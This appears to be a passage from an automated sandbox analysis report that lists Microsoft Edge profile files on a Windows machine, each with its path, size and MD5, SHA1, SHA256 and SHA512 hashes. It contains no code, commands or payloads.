d79db7b7ebd09327b53c17d235851b0fcbd7334c797f470c1bfbc0b074fc1b320a2446e5c680e8252619f674ca9ed3b249377df1ddcd3b5d90e37dbb1906cd35

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
3b84c5a4fceb56b4edc8956e2d5f4f99

SHA1
80d3f43c4e40274c55cecbac6bf9c118b5ffe3fe

SHA256
5c825ce60cc43224012fc0c77b622a9453a69deceb62e192bc32cbf5dbbe3547

SHA512
3e3a97740df480a080078c0c81457287a88d3d12fa6fac374d078cb900903224ef6465b7270cd6a00afb121f98e1adb02ee5cec6e47f160136e4dd43cc7ead58

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
e4131d89cd1aefc4a9fdf14516b0c91f

SHA1
015d2cc5511092bdb65f4832bd28f23704f95a95

SHA256
b36f67873b24801bf52b2bf888b6937fcb90cb41a2f47f0d9bd69444652e971a

SHA512
260324a28643aef4c6c21d3804d01174370febe689e0e162554666d31d7fecbfde20c94ccdde485f087f0906d75e253a58abfd8e6fd1e6edc85e3480ef63e736

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
4713dd4ebddbd672369b1d9fdd793e16

SHA1
346eda7bcc318c27380e56f7c658b74378a8c34d

SHA256
3e4d49222d9d9bd18eb466d9aa2002f966d1c4e0e863e263b46240d6cc5dbbeb

SHA512
63dedc314b016842eedac36e5f68b6c315be9fb48d71f2222e0748cacc056b85c7ffae83df31561131d30b7687ec55e1b5f500b26df6461f1f82c6ae6f7296e4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
2KB

MD5
512044d454c8cc431b0181c67b8f808e

SHA1
33e450dcfeea83339ae5b9a44529c4380f794f19

SHA256
2293c04f2d5f54244c6c30adf20707ee9fbdc14c2814874fd4fe5979efa030ef

SHA512
905cf99c91e20dceab5fb670714cfdfb66d752de0c27993f6deb64a5be27364d7305afb4809422ee48efcdb8fcb30bd093c456507fdaefec4e14efc5ed150733

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5bf014bb74a73972561587bba422b43d

SHA1
5b39d35bf3b5e0a65bab1d03d236666da2f8626d

SHA256
d1194e67be84f870e3f409f6810193a248f67a4d80b1f5f9185a4843348a532d

SHA512
f58897c8b24d8edcb26079a03cbb2853d81716214f9d42cde50e378d3acbd27420fcac47a9715113ebd0fa70787f73fad7f7dee66cbbb890b28629512af6c8e1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
eabb6f2b74d4c8af935448a0cea0d543

SHA1
5cb7865cdb425824b33bf7710fd64c2b5f47d0ef

SHA256
098a05dafd0573d70e680a99b7bf790c06119f888946ee0a1191a051dc5ed33e

SHA512
403cb0ee8e7a5f8f54746c8696d1d99d224a83ee6f31a6ff1029f17eb70b3cef05a62b2a6d739f107158db4bd34db371b194030156e1d0b89bd2ae5324f95cc7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
c6349d352bfd77281c9240baaf2ae151

SHA1
b3ae1b798c103e50bc6b5dc4d7397c5d57fa750b

SHA256
079f693eb743cd8df8edc7b00ab112a7b750c2d62f09f2bf3c54849217e3a2dd

SHA512
c372dd17e4fc2e9064ccfa7245dbaec664089e4059242b036378bdd2b8be6660cd30f8edbf40956b3673fc328871c0001faf81c2591d121b1507081c027e41af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
40e16da113ca887aa404cb581beaaf9b

SHA1
f589d233dbbf34c13a626860b013df9caa47a2f3

SHA256
1d8d80fbb648ec1cd4f08c3fc004d01a4dd9714e7e447a5190d947a8f6b60b05

SHA512
21f81329d4ebd6d7af5871ced79e24b5a926108f1ce7fa76bbc045eb724fbfed17615b8de221047957fbcc1f5316f40d6c5c315c73a06e365c45af87596bacfb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
88e1d4f4158758850bc7128906e622b1

SHA1
71032c6b7f484eeda97857940d28ca0c0ed65ad7

SHA256
70e6eb0395b2aa62159c7fd2d299dc48c3cd9dd7f76565bb3d7d86f6e7b7599f

SHA512
809f53bc75aa2001adddc1cba4820db0f185dc2e2b110352c56729836577a301c70aee099632cbd54b89601b1c40f1491e51586511658aefca96791a07740251

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
97c9152441f6468e608ef6376768485d

SHA1
58e00a1c77f88df4b632d06c9893bd4c706ed02b

SHA256
05703d8a1d5e525e02d0098bc9639fa5622effced1a8b4c4b77360523543f4ba

SHA512
2c1cd9b862bfc8bd8ae36e0c2b74ed913bd17a02b368b75bdf55297074dae0721d213dbb6a27d44c7866dee1123795f6a32cdfbde08f9ca9a4553fcdc58a793a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
4177079780f612d20b88ae06ceb8b236

SHA1
52198d3902c16918dc1d5c06f43914cad9ce12b4

SHA256
8595394b861a4cf7e653f78a89e1123227c906fec137b76714b959b693966fdd

SHA512
8dec027d6d3a042ea11be10468c421979fbc51823ceeda09ba9c573cc3ea33bc09cf5f1a5a5ef64cbae2c5a56ae5512b4d5b29b497c09385a7241d5d3ff0a43e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
cc5a10874d8591391846f342ee699e42

SHA1
6c31266f510e96ec8ef1128c7a1eab0ce35d41c6

SHA256
b4c519fad28184e832ebd159a5ac1578811a1cdcb5f317724ef8aadd8db1622e

SHA512
57edc82e9ff1a0f6b3cc0a1003c6ffc7140db463ca013a7010c2dff48503110a0be2353bff3ddae02c87cb40bae69377b7ffdde0ad8fbed669a2689e9fe5babc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
3c7808ba33301c517f9fdcafab325731

SHA1
3dbe6eca20f43a1b4ff7d868ca4cca7d5d3b3442

SHA256
50c43bd5801a09c542b01779200ec7c10172bd77ccd36fdb1a5a4e9b9a2882bc

SHA512
a32650aee308335d2a672422b21ba03edf73e79b8dbff2535afe6c77a38c91d67ef3bd4e3b332cfc6ea6a08a967c19f39b1c285bf0361842672884e127739d20

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
39aebdf48b7d8cba474c900537bf64e3

SHA1
f7d9fb4cfc0e1ac8fc8b05c17257860bc4ecef09

SHA256
118676409080480dc3c6e912c3bf481c47df1c4c7993cb3dbd68e04c9c98d2d7

SHA512
4e45883364c82c23d334d24abcca32c3b5f867ffe978793abf52f1db26c42ad05a52136f6523e4b5daa064f800167158ccf26d529af4b539513d2fc3ae79d763

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
ee47ec3f2f48391f737250912988134c

SHA1
66deb3eb6841c987d5f3b5e72d76208c3f32252c

SHA256
d6f0f605e96af4aceda7cb3617fb91e9b79432c75dc8569b1dc6f3beb8225a66

SHA512
49a9f8d197a66d4b0e7a9b834fb560089fcbcb89b6fca7f17b7d32eda5cff9ec59e6409e64148226d0c185037d2488fd285c3732528b97409c21bb563fc2f291

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
c4cff5622eb0d83d9e7f5812ce40db1d

SHA1
7efee42607fff45d5d4cab97c66b8d1f5bde9869

SHA256
87fe639d3a5bc9b570ab7d846517f3a53859943532946f1d9d6278f74b7af7bf

SHA512
89eaddad90431e5c017d686071e657553fdce816f8d6e632e625ce1681e5fc51397e9e39f6957e93279f6c7ad0639bbbf935547de4b5028deb499701637e3cba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
d33be70a5ae28c92c76e2d90729ca2aa

SHA1
d34cdedae7a79fbd120fbc0786c693feb96bed5b

SHA256
af127629a084bcef25d0bbba681e8f1396bc0b291c8791c7cf733b5282aa8559

SHA512
862faa71abf41a51dbd4be84a205c3be806652234a57a9e7441694a70280e3d02b93f7b3fede616a4d8b61e28de861d8690ad0ab4ae8710b7952dca3c9904db0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
c59f320514398002fd22c110d06a94e8

SHA1
92471a0aa573f4116b1d28a35524c17f33d4229e

SHA256
4d882681b8ea5a37f9ce82e57c15f23a6f7bd7cf46f69dc8be528cfc5e2c8642

SHA512
7b84b55f2d30ecd0f915ab3c0c08b99013c3cb9984e943a297fe3a36c34995078416d56840a5b1fb1bf370c01a959803a6dadc0459e7eab0e84a9c5ef799e06a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
19ca80b182e1b51bfe9e8e5baffceb83

SHA1
d4e6c299d8d2b85df64eb45500de6594af696b29

SHA256
ba3ea1cc137603ee9b91528f03d8445971fc6c2bb43b18b5cbcd6042673439ab

SHA512
818c70c6ea4cc32f3595a3fe2b05f1d3e79705f4da6a4b4ca0eb08068b931c662254819fde851d93d47e0af8a18c8f104561955bb419696afbd4c949ce25ffab

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
3cf42aec0f29fc0a4dfd761b709263dd

SHA1
47026cffdf14109424c269e4c05b2c31994051ed

SHA256
cb7dd0aa836c08bb4e344298da2ff1b30d6e5e1a06d9cc4775fdd020c4d289ef

SHA512
6badd1b8fbf64e84ae53a8a47b44d6a230ec9660eba4042456d622302fce0c1bf997573956b515a6028061d88b4515de26fc86d9fa535def9a75c8701dfb3b52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
88b04b3b3b21654d796fd8e41a825477

SHA1
ded5481f9b69fd4f79632857457283f788f35855

SHA256
1206027df9b3ee813a85e43861af6d57cfdf0b0196f76bee29d924c2eb46ecd0

SHA512
17ea7e590f997c94b62eccf27f719f86506f6123c5cac263b963c507a8630395c5e2854acbd41fc56950042f32f476e0cd7fd5f414b1a7d87f8e2257612be80f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
8664c606b58a438f92bec3a0da73ed9a

SHA1
315e055cbd7de0a1029c9b01ba0375a2b73071cf

SHA256
bb20c055bc5e160cbe1530b5f4bf86ee835929aee5f308712197197525d41d67

SHA512
0aab40f0cb2d6d85f10be162eaae29b1eaad05a3c14c08b0fe632711cdcdb1019e1c2941abc5c16eb9d570f63b4efef75d8147717f373690d5c6f3479b7706d7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
83b904798f73163c0e8fec027bfdfee1

SHA1
c09cdebc29e532e1d2335b19b2ef8513ce5e02ba

SHA256
e7748a2b5363afcf8e31919516361f7024c7035845e51f25b79f17623d679deb

SHA512
9941b94c7c662d47e1bbf076c35853322df8c61d9f2fcfbf7dfc9bf8f27dd254ace626f0b3e2031cb4a0b41f861e3e0de8adf869f6a3dfab30e3764227a0ba99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
6d197058f0c050c45cc827e8f7c40257

SHA1
86329ef2ebf7ea64ae0425c19ccbcf667ee1c19d

SHA256
632b6c358391807e649001d61aff77a664d6369905cfd8c495fe6f568f6f5c69

SHA512
1065051809a9d849dec08417e08a60503b82af29be6498afad08fd0593a97666efbdd5758f41dfb030646484cb4bcd9d8dce3c97368bb91a29fb2359242668e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
ae18a7afee47582868153b647b460c61

SHA1
7603af65d7a31787794b619f567669afc6c10c0d

SHA256
52f95d94dc5ccba4d92b0a1b2679ca4beffd20e1afc073ab64896f98ea93f478

SHA512
8183917ce5dc967afc465624d28544c5353e8a6dd40798cdcf219fbc464591a2200a96675f5ed4971d29ec07f923bce36915d934583740d3264486c77eedc2a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
f5946de44de8e8f2f2ea5fa7324a70fe

SHA1
4d52895e3055573a360d9e041d9333f4406f0958

SHA256
065e084b032d7f6030ec0fd60d378e4ebf872133b4237a900a101b3ef89fed7d

SHA512
b196eda903d3b91fda47e7cb0fd4a83df55042e9ac5b804bc747c1572002131b54bb7525a4d57aaf1093a8fdba9a39cc1097ede7885ceb4618398b3def08f95b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Filesize
873B

MD5
0f087003335d538aaea7760999032bf1

SHA1
b5c80a51f3259c7f9021c1f5806bd4220f11569b

SHA256
5ce8a5c8f3f213698bbdd46546e78bfe8fda75f6e5643fbb082958ae3adcf4b4

SHA512
bdaf38ff273704887c70a8edaa88009646b59e2ace39cde38b98304eeeab3c4ed40fa15acf2f32bad96b7a62f978650004b416fd8a1e6335ea7a804b929e4091

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Filesize
297B

MD5
1e0a01163f3700b8845437a468cdc984

SHA1
01f7affe79ce3789b8a4018f204e9a61c96daec9

SHA256
a7d96acccb7158acc970bd26bc73c7fc6131d3fe068371a79b7ef20c7d2d0235

SHA512
57c7fdc6d8e55228c440d1a0f3538f44ee4425efc0a22d0da52f14d6fdfb23a84e273eaf9994bd03304c89821994ce2f4f173e443f137a5260af0de64996b4a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
392e57ee5e1619fbca455c2a31f88d07

SHA1
b11666ab56ea3fba1e132dd21c9b9e3042da76cb

SHA256
8ff42063ba27eabb283320bfe94c863e657f6dea0183a432d22b87ca9103fa4a

SHA512
8739d86664028401099e170cc89473e1cdb4e7635c5bd22387f2353d99bd83f88e70f044c63f85f8d4cfa6f6a063dcd647cfcc478d1eda1f8e0d57d452cb82dc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe582229.TMP

Filesize
48B

MD5
a8af108c3e170ed73fc4351c8bc52c63

SHA1
98861d5ad4aeb33c1d7919e0d363f50bc1e93e0b

SHA256
5db89c2a78da133550cc37257b85ccc6499441a58ce4e385863d0e535591914a

SHA512
27f177e39f4508275f897cbb8da8fd4b1eda4be5d015a01443d5e5bc95d83fe08ab657e8ad10f1feebcdd3365ea9197d98db79064cc9fa3e9a75903074419aa6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Filesize
377B

MD5
e185b8cf408bf57fe60e8669bdffe671

SHA1
8006f1047909cdd84436faf9a59ea730589b4384

SHA256
34c58b5593a21a75dc8ce8c07300f67ac335efb4364100d7b1d87c9231eba7ca

SHA512
b4cc4d6c23233fd8fd4c6981d476febb54cd4284701fe44b9ba1aca3e9af81b01af4542cae1b89a4c45d3cd647716bde475b82f525d236f97688f2edb0b95114

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Filesize
319B

MD5
ba425ecafaf82e0e8f4abb9e22d95667

SHA1
d2053645c6d3de4b62cc7ecdd4efa5614a06b1da

SHA256
767e9a7e07dc4cf92985182c42b24b01221bc4795bbb37a3b29d99996fbcd2d0

SHA512
09fcd9c8c3d81dc40e2faae8d4e17e055066b66cf16f4d995bdca630b610c06fb1cd049103b21254120ad8a85b08f0cbb5f7ba051de520b62b84babbb170a9bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Tabs_13379080526175952

Filesize
12KB

MD5
f76b9fff49adea063456ffe809a29047

SHA1
91b2f36d3d0aa908654c68b7e349c42ffa3427dd

SHA256
ccc3ba3a894ec742c3fc0720a2d9d8d1c37f31e38b034f17a14b273ff4775d86

SHA512
0042aae2ff1e86dd2cd31d787d8966cdd290a6acbb944b871828c562c395d9c76f2fa80a8a9ca38846d406f23f1a69a5efa2d3070d913a15d725f9fd23347c03

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Filesize
184B

MD5
577b31bb324e70946a31fdc2871e1e88

SHA1
9a22bf6f5506587b55e509d61a668666917673f1

SHA256
d6fe27f1b635c857fe3840f0f9f0b0987c99f2d45c390317588aba0aef117a86

SHA512
5871d2db105ed1b75f372a5b527a622904bbc5e0f2074529a874426964ee5620939da33cd316d7491dff709cb22cf582a4f39df5e50f2b4342d4e94c6383e303

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Filesize
347B

MD5
172f3021d0e707dcfb696ced22fe8899

SHA1
5c6351ec909e0b1b4a6b86626bc68d1ef8e83a58

SHA256
dd70a425865827f0d6d6e2afcefbcce7387defb3778a3d921f2f32c626facd09

SHA512
1adb6a611e8827c202302bdd6b1f82c04a38208f7c0064b5b22bb9ad09dd148b13a650cc9e5d1d6bd347ef7ac9ebc61bb44761e4052250802f22da8e026f4eaf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Filesize
323B

MD5
6f8a8c8a530a60c17618a335bf69196f

SHA1
e1c0a0e2925a5e793953ea944b21c8d401b977a0

SHA256
2438ba4a44b38c28a072cf1931f02b39f4d366f137b2e3079e22173e539b025f

SHA512
598d655c02ec0d91cfdd73006ea97a191c01fa6076918cea37021f6e9214fb0799ab030b1ba37fa06fd58ee34180f9c6ab781b5a645316b2fad6733792fab847

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
d22ede801b9ba7f8695a5c9d66353735

SHA1
1147d5849cff0c01b30592fb347a1dd2e7ba97a0

SHA256
02654c1b2bbcb3ece1e64474c20978f4702431b65b08fda79c3ee43c9063aac1

SHA512
07622e32deead7494c8d267c57697f3f2402113daec442c3c246fb32bed77856f5c289f43357e69aa42ccb7819e0f7506f769f85604747ed65bd264064b32c66

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
5f66864d18bb947773b08fdf063d9d1f

SHA1
6947c8aa144c8b7b55d5763882205cb8288eb148

SHA256
03c16501d80fbf92d5001894d346130ead781e58baccbf1364df5af89e7400b7

SHA512
299888da22acfbb983b4425c1079da9b5c0453a53fbbd4423fc10e506a40575dba4555c2c15c7cf7e752d8ab217d898c627813588e28b131814eb2173ca63843

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
440be18f23875027b465c6fa66b43012

SHA1
4ab792395093d6149bce783c1baaa1b0d97a8e60

SHA256
7452a33e991a2bf1a1634ee50dcd797469d2eb8115c84d68d263e06f96d7eba3

SHA512
14ce61a2d5a4608d9dc34ed9ef141c69406b7ca06192d2655e43faca4b669fefa05e12d9262335baf6b3c3d6cedb62bed0324ad84edf13c3e3ad4c3e2b8ea661

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
5c6f08f6d845aa6e5e60e22d2a711ad0

SHA1
02a7d35754d736ee6806d6ccb3bee37c8bbd5305

SHA256
e4889f69d34247f3cf59dfc1f49c0ffed11aee6a93f3b628ad5f68301b4b4e1b

SHA512
c0c5ac930a16c86780028287478fb4e1ae3daf26f05c1ac5004a4f478b49ff800aa552dedbabbb2dee044a372424b4099178627c166610e99d5bab9d4ea7a17f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
7e08a72037921f47a966dee34e7b89ad

SHA1
c405e5dd02405e73fc552f9b0bbd7859c94d7bd9

SHA256
986b6ab326483c3b5c06a93a5bf7b94c6955b0e67cb74c7cacb7613bd467d79e

SHA512
87d27feb246001a6b01252b659bbefe71e59d65ad710aea604cc8ada6a7af90bcb5288d3ce3626bdcfb78cd60e7cc87ffbc10b9b8d5641c3d6da4d8b76ded25c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
d7969327e77d5459866eaad63d7dbd8a

SHA1
20e3724d0eb878e8e736312b6ceb308eb95396c3

SHA256
4f833fd5dc830b5c84bf633a71525438c3b4eabb51451ca42a23c470b25c52b7

SHA512
ecdfd57dc52e0198ab41c9c851554b561232c4fce6633cfadadacdfa77d26c17c32b14d8f3514482a4e29f9c97085b51291b7375a1d921fff3bd230f03599289

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
81430f78af5711f5ed9255372dddae45

SHA1
2882aa289ab33ebfbf4ef87c3148f671831f0cda

SHA256
b81b42bb1e8d652757813901983ba0e5baf427613105e57577fbb026db0e00fc

SHA512
675842b898857869a740b4bbc2190550b78ab64be4e66882a54df73b7cec906fc1dff7d576d1693f543cac75715787441080aa82511303a5fcce12b1a69a160b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
0870485e55310c6ab83be56d2321483c

SHA1
8b85ada97e060375e82aa894a0adcdb060b4c3b6

SHA256
5c5377f80db4c7c20cfc915a5a890871b73264c0467de58a5916d670ac07312e

SHA512
a3ea453d0a1a11f958dd553d9c6d718cfd1ca96298f76b6aba7233d1eb4d0bb0d111bdd8080b336b635445210305f8027d3d2536c67ef0fb881922e785ae7ce6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
64ed0fd048d99ffb855fba90657a07fc

SHA1
9ff17f7d66b1a34ea16bf19c7ece4435e7f7b358

SHA256
30da63362bff770cfdfbf455b15a37cf9ea8685ae286a0d504a29ddd1fbf7a19

SHA512
b6bd5951079e30a5568182e31dfc1ec9d6ce75328b963d6304e8ce4f6bcc3271c5914434066bcbf082595802b5bc289831f49f6816c95542618178dde6a95c7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
07110daedc6db12924a80715fc27dd2a

SHA1
a2c7cc99ac214e151bc580b07d212eb9aa8e3475

SHA256
0dc398fbb9035645878ce5d86296da069ccb024561e3e03bf227385d517cf068

SHA512
db07f656a4d83b2d90a6ee5ded3ae17a7c31fa2995eb42986685c74663a6d8a7f2573c121dd9941986707569d6cc241297723ce2db4f26066f255f6a5a77290b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
0581c3c4a37b98fb463486d33342a2bd

SHA1
6311c09b16b3681da068a77a085ae040ced013ee

SHA256
290510943eb6b8e2088b4d9ec35d4bd5f1f2676f44adaf4fab4b5b63493ab59a

SHA512
1018538c41beef8167356e4321deab7022d7016da99708b30693bce694f02ec46f854c954d647301d65a505aa45e9d84ee4e93566034d0ecf684b4eef691e5db

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
4a26726a046c724235c912e04493813e

SHA1
12b74e8f55a76f0d3e0d7c3c6d3dee6bd0997a3a

SHA256
040a35012c4de8cdb92e7f23a1a16e85347ea89148d4e374bc26a9b4605f61e3

SHA512
a5f1c919fb80520319fb185f77c92678f8e2cefc2eeaa89eb8e52d3cc2ddc5a5a7364e128dc8abba0f2eddc52e0b11c8dae99a32667f5ea21013bd9ad0f63e37

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
6121adff13584b405560b46e98308fe4

SHA1
c90bb99887949bfbc37ab10ac0aa9719cad94b65

SHA256
f6b4cb33de6a94b994c638a06b22b589ec9367f50252c98f614a01be2c254b4b

SHA512
d68bc840b5a2359275e10c8c72edc4db69fd774d7eb8cdd875064d242ba6f1e0db92cf05c0483bd6eb5ba08c8d97e9e1651e531108e3f127175f1cc37911a6fe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
77724991069d394284a8c9181f6d955d

SHA1
428e37a32b87e228c0505df5efb190898f9e7205

SHA256
8f79942b8adc295682272b960e1ea91824d2f862aea6452a2aaf615a00199d2c

SHA512
2507c8e6ddec14701b5c8f4ca2fceda005a6b22fb36b65ad613d2a5b91421fab5a0a11a6efad5af673a4e4b9eb28b216edd569b0ef11944412637bedb0eda613

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Filesize
128KB

MD5
c72be43495b1435e3daea47875b275b4

SHA1
4b643a6c208f3078e6e57eb74b8506b8249815ed

SHA256
cf9a1236516d0734a87d487193d9b67805dca9134893f97e35c80fc5ca848a45

SHA512
69aa0ef90ee7c2e43452813422613dd620533f46a2141c571fd95444ebdc134a9d1909d7b430492f6ec3553f1e60578aacb4d0af1d12c4cecb44479eac895fe3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Filesize
112KB

MD5
6d11744b1feaa0d93633eae4f53e51b4

SHA1
b50347eb7778f35d09a2cdddc8d9720369ccb9f0

SHA256
dd84335cd243bc70d72b81cf532e8a4390d497a5cf3ccb07151b4a3bfcc6a934

SHA512
c6484f5979b958a039af2dc821ea00aa278c29444e8c5cc941e0e63a6968ff9ca094c94f309d094cf04572900b810943dda5d9cf0dcd1844c2465f16392af753

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c0ec8ec4-d51d-45f9-8723-9b39e9011419.tmp

Filesize
1B

MD5
5058f1af8388633f609cadb75a75dc9d

SHA1
3a52ce780950d4d969792a2559cd519d7ee8c727

SHA256
cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8

SHA512
0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
aefd77f47fb84fae5ea194496b44c67a

SHA1
dcfbb6a5b8d05662c4858664f81693bb7f803b82

SHA256
4166bf17b2da789b0d0cc5c74203041d98005f5d4ef88c27e8281e00148cd611

SHA512
b733d502138821948267a8b27401d7c0751e590e1298fda1428e663ccd02f55d0d2446ff4bc265bdcdc61f952d13c01524a5341bc86afc3c2cde1d8589b2e1c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Filesize
60KB

MD5
64f0fbb7acaa0e505fd5323a0902c785

SHA1
f500b1ec59f2a8ee925888b8ec19e0618b295c8a

SHA256
6292ea0114f502af36b90dd67c14f0033abcbbe1007d8849bc1fd15ed69702bb

SHA512
